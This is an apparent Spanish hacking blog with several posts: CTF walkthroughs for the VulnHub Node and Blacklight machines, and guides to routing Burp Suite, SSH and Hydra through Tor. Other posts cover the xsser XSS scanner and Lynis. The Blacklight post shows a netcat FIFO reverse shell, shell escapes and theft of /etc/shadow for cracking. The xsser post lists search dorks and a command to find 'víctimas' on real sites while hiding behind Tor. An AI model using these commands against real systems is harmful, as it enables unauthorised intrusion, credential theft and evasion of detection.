viernes, 9 de noviembre de 2018

Burpsuite con tor


Hola amigos.

¿No os habéis preguntado alguna vez cómo puedo usar burpsuite con proxy, para que no detecten nuestros ataques?

El método es bien sencillo.

En mi caso, usaré burpsuite a través de tor.

En primer lugar, nos vamos a la pestaña User options



Nos fijamos en Upstream Proxy Servers y le damos a “add”



Y rellenamos.

En “destination host” podemos escribir cualquier cosa



viernes, 2 de noviembre de 2018

Instalar flash player en Kali Linux

en primer lugar, descargamos flashplayer en https://get.adobe.com/flashplayer/, Debemos escoger el que nos corresponda.
en el directorio descargas, movemos el archivo a /root/

mv flash_player_npapi_linux.x86_64.tar.gz /root/

Desempaquetamos

tar xvfz flash_player_npapi_linux.x86_64.tar.gz

movemos

mv libflashplayer.so /usr/lib/mozilla/plugins

copiamos

cp -r usr/* /usr

Reiniciamos firefox

sábado, 13 de octubre de 2018

Solución al reto Node


Hola amigos, en esta ocasión, vamos a ver cómo resolver el reto Node, descargable de https://www.vulnhub.com/entry/node-1,252/ y cuyo objetivo es llegar a ser root.

Máquina atacante: 192.168.1.131
Máquina víctima: 192.168.1.41

En primer lugar, hacemos un nmap

nmap -sS -sV -O 192.168.1.41

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2018-09-20 11:44 CEST
Nmap scan report for node.home (192.168.1.41)
Host is up (0.0043s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.1, Linux 3.16 - 3.19, Linux 3.2 - 4.4, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.16 seconds

Como vemos, tenemos un servidor web en el puerto 3000

Aunque no es necesario, yo me descargué la página con httrack (instalada ya en kali) y empecé a husmear. Me encontré con esto:


Y fuí a la página:

Tiene usuarios, con sus respectivo hashes, los copié en un archivo por comodidad:

Y los comprobé con hash-identifier, para ver de qué tipo de codificación tenían:

Bueno, pues tienen la codificación sha-256. Pude desencriptar los dos primeros:




Seguí husmeando en el código de las páginas, y me encontré que existía otra página:

Tenía otro usuario más, de modo que desencripté el hash:


Me descargué el archivo.

Base 64 es un sistema de codificación (no encriptación), formado por letras de la a a la z, de la A a la Z y con los signos +, / e =. Por lo que parece que está en base 64.


Como sabemos, el código ASCII son los 256 caracteres que podemos representar , cada uno formado por 8 bits. Por temas de compatibilidad a la hora de enviar información por red, con equipos antiguos, se utiliza base64.

Si os interesa, este video explica muy bien en qué consiste, y como se realiza la codificación y decodificación.

Pues bien, decodificamos de la siguente manera:

Vemos qué tipo de archivo es, porque no tenemos extensión:

Vale, es zip, pero tiene contraseña; la craqueamos:
Nos dá un montón de archivos:

Me encontré con este archivo, que tiene la contraseña ssh de mark:

Miré que tipo de contraseña era:

Busqué su exploit, lo descargué, y lo compilé:
Lo ejecuté:
Ya somos root, y vemos la flag que nos tienen preparada:

martes, 25 de septiembre de 2018

solucion al error de firefox en kali 2016.2

Cuando se instala kali 2016.1 (Si es que lo quieres descargar de http.old.kali.org) es posible que, al navegar a través de facebook, no te deje entrar a algunas páginas.

La solución, es reinstalar firefox.

Abrimos una consola y ponemos:

apt-get install firefox-esr

Y ya estaría solucionado.

sábado, 15 de septiembre de 2018

Inyección xss con xsser


Hola amigos.

Hace tiempo, publiqué un breve post acerca de las inyecciones xss https://salamancageek.blogspot.com/2016/01/jugando-un-poco-con-xss.html y también publiqué alguna cosilla más como un tutorial de xssight (googlead que ahí anda).
Bueno, pues hoy os traigo un script que nos va a detectar vulnerabilidades xss, y, por si eso fuera poco, también las explotará.
En primer lugar, instalamos

apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip

Y después, tendríamos que descargarnos el código de


En caso de Kali Rolling, ya lo tendríamos instalado. Basta con abrir una terminal y poner

xsser



Tendremos las opciones

xsser -h : ayuda
xsser --update: para actualizaciones.
xsser --gtk: para usar GUI
xsser -u “http://host.com”: inyección simple
xsser -i “file.txt” --proxy “http://127.0.0.1:8118” --referer “111.111.111.111”: Para usar las direcciones de un fichero llamado file.txt, a través de proxy y spoofear la dirección referer como referer 111.111.111.111 (HTTP referer es una cabecera HTTP que identifica la dirección de la página web que creó el vínculo con el recurso que está siendo solicitado. A través del chequeo del campo referer, la nueva página web puede determinar dónde se originó la solicitud. Wikipedia)
xsser -u "http://host.com" --auto --reverse-check -s Atacará el host dado, lo explotará automáticamente, realizará una conexión inversa y mostrará estadísticas.

Todas las opciones son:

Usage:

xsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |-c <crawl> (options)]
[Request(s)] [Checker(s)] [Vector(s)] [Anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}

Cross Site "Scripter" is an automatic -framework- to detect, exploit and
report XSS vulnerabilities in web-based applications.

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-s, --statistics show advanced statistics output results
-v, --verbose active verbose mode output results
--gtk launch XSSer GTK Interface
--wizard start Wizard Helper!

*Special Features*:
You can set Vector(s) and Bypasser(s) to build complex scripts for XSS
code embedded. XST allows you to discover if target is vulnerable to
'Cross Site Tracing' [CAPEC-107]:

--imx=IMX IMX - Create an image with XSS (--imx image.png)
--fla=FLASH FLA - Create a flash movie with XSS (--fla movie.swf)
--xst=XST XST - Cross Site Tracing (--xst http(s)://host.com)

*Select Target(s)*:
At least one of these options must to be specified to set the source
to get target(s) urls from:

--all=TARGET Automatically audit an entire target
-u URL, --url=URL Enter target to audit
-i READFILE Read target(s) urls from file
-d DORK Search target(s) using a query (ex: 'news.php?id=')
-l Search from a list of 'dorks'
--De=DORK_ENGINE Use this search engine (default: duck)
--Da Search massively using all search engines

*Select type of HTTP/HTTPS Connection(s)*:
These options can be used to specify which parameter(s) we want to use
as payload(s) to inject:

-g GETDATA Send payload using GET (ex: '/menu.php?q=')
-p POSTDATA Send payload using POST (ex: 'foo=1&bar=')
-c CRAWLING Number of urls to crawl on target(s): 1-99999
--Cw=CRAWLER_WIDTH Deeping level of crawler: 1-5 (default 3)
--Cl Crawl only local target(s) urls (default TRUE)

*Configure Request(s)*:
These options can be used to specify how to connect to the target(s)
payload(s). You can choose multiple:

--cookie=COOKIE Change your HTTP Cookie header
--drop-cookie Ignore Set-Cookie header from response
--user-agent=AGENT Change your HTTP User-Agent header (default SPOOFED)
--referer=REFERER Use another HTTP Referer header (default NONE)
--xforw Set your HTTP X-Forwarded-For with random IP values
--xclient Set your HTTP X-Client-IP with random IP values
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACRED HTTP Authentication credentials (name:password)
--proxy=PROXY Use proxy server (tor: http://localhost:8118)
--ignore-proxy Ignore system default HTTP proxy
--timeout=TIMEOUT Select your timeout (default 30)
--retries=RETRIES Retries when the connection timeouts (default 1)
--threads=THREADS Maximum number of concurrent HTTP requests (default 5)
--delay=DELAY Delay in seconds between each HTTP request (default 0)
--tcp-nodelay Use the TCP_NODELAY option
--follow-redirects Follow server redirection responses (302)
--follow-limit=FLI Set limit for redirection requests (default 50)

*Checker Systems*:
These options are useful to know if your target is using filters
against XSS attacks:

--hash send a hash to check if target is repeating content
--heuristic discover parameters filtered by using heuristics
--discode=DISCODE set code on reply to discard an injection
--checkaturl=ALT check reply using: alternative url -> Blind XSS
--checkmethod=ALTM check reply using: GET or POST (default: GET)
--checkatdata=ALD check reply using: alternative payload
--reverse-check establish a reverse connection from target to XSSer to
certify that is 100% vulnerable (recommended!)

*Select Vector(s)*:
These options can be used to specify injection(s) code. Important if
you don't want to inject a common XSS vector used by default. Choose
only one option:

--payload=SCRIPT OWN - Inject your own code
--auto AUTO - Inject a list of vectors provided by XSSer

*Anti-antiXSS Firewall rules*:
These options can be used to try to bypass specific WAF/IDS products.
Choose only if required:

--Phpids0.6.5 PHPIDS (0.6.5) [ALL]
--Phpids0.7 PHPIDS (0.7) [ALL]
--Imperva Imperva Incapsula [ALL]
--Webknight WebKnight (4.1) [Chrome]
--F5bigip F5 Big IP [Chrome + FF + Opera]
--Barracuda Barracuda WAF [ALL]
--Modsec Mod-Security [ALL]
--Quickdefense QuickDefense [Chrome]

*Select Bypasser(s)*:
These options can be used to encode vector(s) and try to bypass
possible anti-XSS filters. They can be combined with other techniques:

--Str Use method String.FromCharCode()
--Une Use Unescape() function
--Mix Mix String.FromCharCode() and Unescape()
--Dec Use Decimal encoding
--Hex Use Hexadecimal encoding
--Hes Use Hexadecimal encoding with semicolons
--Dwo Encode IP addresses with DWORD
--Doo Encode IP addresses with Octal
--Cem=CEM Set different 'Character Encoding Mutations'
(reversing obfuscators) (ex: 'Mix,Une,Str,Hex')

*Special Technique(s)*:
These options can be used to inject code using different XSS
techniques. You can choose multiple:

--Coo COO - Cross Site Scripting Cookie injection
--Xsa XSA - Cross Site Agent Scripting
--Xsr XSR - Cross Site Referer Scripting
--Dcp DCP - Data Control Protocol injections
--Dom DOM - Document Object Model injections
--Ind IND - HTTP Response Splitting Induced code
--Anchor ANC - Use Anchor Stealth payloader (DOM shadows!)

*Select Final injection(s)*:
These options can be used to specify the final code to inject on
vulnerable target(s). Important if you want to exploit 'on-the-wild'
the vulnerabilities found. Choose only one option:

--Fp=FINALPAYLOAD OWN - Exploit your own code
--Fr=FINALREMOTE REMOTE - Exploit a script -remotely-
--Doss DOSs - XSS (server) Denial of Service
--Dos DOS - XSS (client) Denial of Service
--B64 B64 - Base64 code encoding in META tag (rfc2397)

*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) on
vulnerable target(s). You can select multiple and combine them with
your final code (except with DCP code):

--Onm ONM - Use onMouseMove() event
--Ifr IFR - Use <iframe> source tag

*Reporting*:
--save export to file (XSSreport.raw)
--xml=FILEXML export to XML (--xml file.xml)

*Miscellaneous*:
--silent inhibit console output results
--no-head NOT send a HEAD request before start a test
--alive=ISALIVE set limit of errors before check if target is alive
--update check for latest stable version

Un listado de dorks para xss sería, por ejemplo:

inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx
inurl:".php?cmd="
inurl:".php?z="
inurl:".php?q="
inurl:".php?search="
inurl:".php?query="
inurl:".php?searchstring="
inurl:".php?keyword="
inurl:".php?file="
inurl:".php?years="
inurl:".php?txt="
inurl:".php?tag="
inurl:".php?max="
inurl:".php?from="
inurl:".php?author="
inurl:".php?pass="
inurl:".php?feedback="
inurl:".php?mail="
inurl:".php?cat="
inurl:".php?vote="
inurl:search.php?q=
inurl:com_feedpostold/feedpost.php?url=
inurl:scrapbook.php?id=
inurl:headersearch.php?sid=
inurl:/poll/default.asp?catid=
inurl:/search_results.php?search=
EDIT: Dorks agregados por RiojasMx, muchas gracias!
allinurl:guestbook.php
allinurl:libro-visitas.php
allinurl:visitas.php
allinurl:bookmark.php
allinurl:visitas/addentry.php
allinurl:visitas/index.php
allinurl:visitas/index.asp⁠⁠⁠⁠


Por ejemplo, vamos a buscar víctimas

xsser --De=google -d ".php?vote=" --proxy=http://127.0.0.1:8118


viernes, 7 de septiembre de 2018

Solución al reto Blacklight

Hola amigos.

En esta ocasión, vamos a desarrollar el ctf BlackLight, cuya máquina la podéis descargar en https://www.vulnhub.com/entry/blacklight-1,242/

Vamos a suponer que la máquina atacante tiene la IP 192.168.1.131 y la máquina víctima 192.168.1.140

En primer lugar, hacemos el escaneo de puertos

nmap -sS -sV -O 192.168.1.140



Observamos que tenemos un servidor web corriendo.



Veamos los directorios




tenemos la página robots.txt, vamos a visitarla



Tenemos dos, flag1.txt y blacklight.dict.

Vamos a la primera



Y el segundo, es un diccionario que nos descargaremos, pues podríamos necesitarlo más adelante.



Vamos a descargarlo

wget 192.168.1.140/blacklight.dict



Vemos en el flag, el número 9072, puede ser un puerto abierto que no nos haya detectado nmap.
Esto es debido a que nmap, por defecto, no escanea todos los puertos, sino los más comunes.

Nmap -sS -sV -p 9072 192.168.1.140



No sabe lo que es.
Vamos a probar

telnet 192.168.1.140 9072



vale, pongamos

.help



vale, veamos

.readhash



Nos dice que tenemos un comando más hasta que el servidor nos desconecte. Por tanto, sólo nos deja 3 comandos, de los cuales ya he gastado 2.

La verdad es que, si vuelves a reiniciar la máquina atacante, vuelves a tener 3 oportunidades.

Vale, en una nueva consola, abramos un netcat a la escucha

nc -l -v -p 4444

Vamos a crear un fichero FIFO.

¿Qué es un fichero FIFO? En primer lugar, FIFO significa First In, First Out, o lo que es lo mismo, el primero en entrar es el primero en salir.

Lo que vamos a hacer es crear una lista de comandos, a la cual, asignaremos un nombre. A este nombre se le llama fichero FIFO.

mkfinfo /tmp/fifo; nc 192.168.1.131 4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1; rm /tmp/fifo

En primer lugar, se crea el archivo /tmp/fifo.

Punto y coma para separar órdenes y ejecutarlas.

En segundo lugar, Abriremos un netcat a la dirección 192.168.1.140 en el peurto 4444; A la salida estándar por teclado teclado (el 0) le redirigimos, pero no hacia una salida (>), sino hacia la entrada (<) el archivo fifo que hemos creado.

La salida que nos ha generado todo esto, lo enviamos como entrada (|) a lo que salga de hacer todo el proceso de /bin/sh>tmp/fifo 2>&1 (Es decir, primero se haría el /bin/sh>tmp/fifo 2&1 y después, todo lo que haya salido de la parte izquierda de “|”, será la entrada de toda la parte derecha (el resultado de /bin/sh>tmp/fifo 2>&1.

Ahora bien, 2 se refiere al error estándar (stderr). Este error, se redigirá a la salida estándar (stdout), que será ese &1.

Con ello, lo que hacemos, será forzar a imprimir los errores.

Posteriormente, borramos /tmp/fifo

Por tanto, en la primera consola, tendremos que poner

.exec mkfifo /tmp/fifo; nc 192.168.1.131 4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1; rm /tmp/fifo

<imagen 12>

Ahora, correremos un script en python, para que nos dé una shell

python -c 'import pty;pty.spawn(“/bin/bash”);'

pty, en linux, son pseudoterminales. Por tanto, lo que hacemos en python es abrir una pseudoterminal.

Fuera de este reto, para abrir pseudoterminales tenemos:

  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl -e 'exec “/bin/sh”;'
  • perl: exec “/bin/sh”;
  • ruby: exec “/bin/sh”
  • A partir de aplicaciones:
    • vi: :!bash
    • En nmap (sólo desde la versión 2.02 hasta la 5.21, para ver la versión de nmap, con la opción -V):
        1. nmap --interactive
        2. !sh

Una vez obtenida la shell, observamos que en /home/blacklight tenemos otro hash en el fichero hash.txt, el cual, lo voy a copiar a /var/www/html/ para descargarlo



También voy a /etc/:

cd /etc/

Copio todos los archivos shadow a /var/www/html

cp shado* /var/www/html/

creo un archivo tar

tar cvf shadow.tar shadow shadow-

En una tercera terminal descargo lo anterior.

wget 192.168.1.140/hash.txt
wget 192.168.1.140/shadow.tar

Extraigo los ficheros

tar xvf shadow.tar

Ahora, realizamos un ataque de fuerza bruta a estos archivos shadow

john shadow --wordlist=blacklight.dic



Bien, volvamos a la shell de blacklight y vayamos al directorio /home/blacklight

cd /home/blacklight/

Ahora, veamos los archivos ocultos

ls -al



Nos metemos en el directorio .secret

cd .secret

ls -al



Copiamos a /var/www/html/ para descargarlo

cp * /var/www/html/

Nos vamos a la última terminal que abrimos y lo descargamos

wget 192.168.1.140/flag2-inside.jpg



Bien. Lo que nos dice es que el flag está escondida en esta imagen. Usaremos outguess, que es una herramienta de estenografía (¿os habéis dado cuenta que en la imagen ponía ...OUT...GUESS?, nos estaba dando una pista).

En la terminal, ponemos


Y compilamos de la siguiente manera:

En primer lugar ponemos.

./configure

En segundo lugar, ponemos.

make

bien, ahora ponemos

outguess -r flag2-inside.jpg -t flag2



cat flag2




viernes, 31 de agosto de 2018

ssh a través de tor

Hola amigos.

En esta ocasión, vamos a ver cómo podemos usar ssh a través de tor, con el fin de anonimizar nuestra conexión.

En primer lugar, y suponiento que ya tenemos tor instalado (si no es así, visita https://salamancageek.blogspot.com/2016/03/intalando-tor.html ), debemos instalar:

apt-get install tsocks
apt-get install connect-proxy

posteriormente, nos vamos a /etc/ssh/

cd /etc/ssh/

hacemos una copia de seguridad del archivo de configuración, por si acaso...

cp ssh_config ssh_config.back

editamos ssh_config y buscamos proxycommand:

#   ProxyCommand ssh -q -W %h:%p gateway.example.com

Ponemos debajo:

    ProxyCommand connect -4 -S localhost:9050 $(tor-resolve %h localhost:9050) %p

Y ya lo tendremos.

viernes, 24 de agosto de 2018

Hydra con proxy -- tor

Hola amigos.

Alguna vez hemos utilizado hydra para algún CTF que hemos resuelto, pero, ¿cómo podríamos usarlo en la vida real?. En nuestro caso, usaremos la red tor, en cambio, puedes usar el proxy que quieras.

En primer lugar, tenemos que declarar la variable de entorno.

HYDRA_PROXY=socks5://127.0.0.1:8118

exportamos:

export HYDRA_PROXY

Y comrobamos:

printenv | grep HYDRA.

Y ya está. Ya podremos usar hydra a través de tor. Eso sí. Cada vez que apaguemos el equipo, hay que realizar la misma operación.

Otras opciones que podemos usar son:

  • con socks4://
  • HYDRA_PROXY_HTTP que en este caso, sería http://
  • HYDRA_PROXY=listadeproxys.txt o HYDRA_PROXY_HTTP=listadeproxys




viernes, 17 de agosto de 2018

Lynis auditando nuestro propio sistema


Hola amigos.

En esta ocasión, vamos a ver las vulnerabilidades que tiene nuestro propio sistema Linux. Para ello, vamos a utilizar Lynis, que ya está instalado previamente en nuestro Kali.

Si ponemos lynis, nos sale la ayuda:

[ Lynis 2.6.2 ]

################################################################################
Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
welcome to redistribute it under the terms of the GNU General Public License.
See the LICENSE file for details about using this software.

2007-2018, CISOfy - https://cisofy.com/lynis/
Enterprise support available (compliance, plugins, interface and tools)
################################################################################


[+] Initializing program
------------------------------------


Usage: lynis command [options]


Command:

audit
audit system : Perform local security scan
audit system remote <host> : Remote security scan
audit dockerfile <file> : Analyze Dockerfile

show
show : Show all commands
show version : Show Lynis version
show help : Show help

update
update info : Show update details


Options:

--no-log : Don't create a log file
--pentest : Non-privileged scan (useful for pentest)
--profile <profile> : Scan the system with the given profile file
--quick (-Q) : Quick mode, don't wait for user input

Layout options
--no-colors : Don't use colors in output
--quiet (-q) : No output
--reverse-colors : Optimize color display for light backgrounds

Misc options
--debug : Debug logging to screen
--view-manpage (--man) : View man page
--verbose : Show more details on screen
--version (-V) : Display version number and quit

Enterprise options
--plugin-dir "<path>" : Define path of available plugins
--upload : Upload data to central node

More options available. Run '/usr/sbin/lynis show options', or use the man page.

Si ponemos

lynis audit system



Como véis, nos auditará nuestro propio sistema.

Y si ponemos

lynis audit system –pentest

Nos hará pruebas de pentesting.